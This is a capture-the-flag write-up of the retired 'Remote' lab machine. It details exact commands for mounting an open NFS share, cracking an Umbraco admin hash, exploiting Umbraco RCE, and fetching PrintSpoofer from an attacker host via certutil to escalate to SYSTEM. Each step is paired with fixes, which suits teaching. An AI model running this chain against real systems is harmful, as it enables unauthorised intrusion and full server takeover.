jperezduerto.info
Remote
Summary
I discovered a network file system share exposed to the entire internet with no credentials required, mounted it, and extracted a complete backup of the web application including its user database. The administrator password hash was cracked offline in seconds against a common wordlist.
Those credentials unlocked the Umbraco CMS admin panel, where a well-known remote-code-execution vulnerability in the outdated software version delivered a command shell running as the IIS web-server process. That process held SeImpersonatePrivilege — an unnecessary Windows right — which a named-pipe impersonation tool exploited to escalate to full NT AUTHORITY\SYSTEM control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for admin>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service and version detection; identifies IIS, Umbraco, NFS, FTP, and SMB.
$ nmap -sV -sC -p 21,80,111,135,139,445,2049 --min-rate 5000 $TARGETLists NFS exports; confirms /site_backups is world-accessible with no access restriction.
$ showmount -e $TARGETFixRestrict NFS exports to authorised hosts and block NFS ports from the internetCritical
Exact commands 2
Mount the NFS export locally; vers=3,nolock required for compatibility with this target.
$ sudo mkdir -p /tmp/htb_remote_site && sudo mount -t nfs -o vers=3,nolock $TARGET:/site_backups /tmp/htb_remote_siteLocates the credentials database inside the backup tree.
$ find /tmp/htb_remote_site -iname 'Umbraco.sdf'Exact commands 1
Extracts all printable text from the binary file; yields the admin email address and password hash.
$ strings -a /tmp/htb_remote_site/App_Data/Umbraco.sdf | grep -i -E 'admin|password|email|@'FixExclude live credential databases from internet-accessible backupsHigh
Exact commands 3
Write the extracted hash to a file for John.
$ echo "$HASH" > remote_admin.sha1Dictionary attack against the hash; recovers $PASSWORD.
$ john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt remote_admin.sha1Display the cracked credential.
$ john --show --format=Raw-SHA1 remote_admin.sha1FixEnforce a strong password policy for all CMS administrator accountsHigh
Exact commands 1
Confirms successful login (expect HTTP 200). Alternatively browse to http://$TARGET/umbraco/ and log in interactively.
$ curl -s -o /dev/null -w '%{http_code}' -X POST "http://$TARGET/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" -H 'Content-Type: application/json' -d '{"username":"admin@htb.local","password":"'"$PASSWORD"'"}'Exact commands 3
Confirms ExploitDB 46153; download the PoC and edit the target URL to http://$TARGET and credentials admin@htb.local:$PASSWORD.
$ searchsploit Umbraco 7.12.4Verify RCE; expected output: iis apppool\defaultapppool
$ python3 umbraco_rce_remote.py whoami
iis apppool\defaultapppoolRead user flag → <user.txt>
$ python3 umbraco_rce_remote.py "type C:\Users\Public\Desktop\user.txt"FixUpgrade Umbraco CMS to a current, supported releaseCritical
Exact commands 5
Confirm SeImpersonatePrivilege is Enabled for iis apppool\defaultapppool.
$ python3 umbraco_rce_remote.py "whoami /priv"Stage PrintSpoofer onto my HTTP server. Serve it with: python3 -m http.server 9000
$ python3 umbraco_rce_remote.py "certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe"Write a batch script capturing SYSTEM identity and root.txt output then granting read access; required because direct output redirection via PrintSpoofer is denied in this non-interactive RCE context.
$ python3 umbraco_rce_remote.py "echo @echo off > C:\Windows\Temp\ps_root.bat & echo whoami ^> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo type C:\Users\Administrator\Desktop\root.txt ^>> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo icacls C:\Windows\Temp\loot.txt /grant Everyone:F >> C:\Windows\Temp\ps_root.bat"Execute the batch script under SYSTEM via named-pipe impersonation.
$ python3 umbraco_rce_remote.py "C:\Windows\Temp\PrintSpoofer64.exe -c C:\Windows\Temp\ps_root.bat"Read captured output: line 1 = nt authority\system, line 2 = <root.txt>
$ python3 umbraco_rce_remote.py "type C:\Windows\Temp\loot.txt"FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.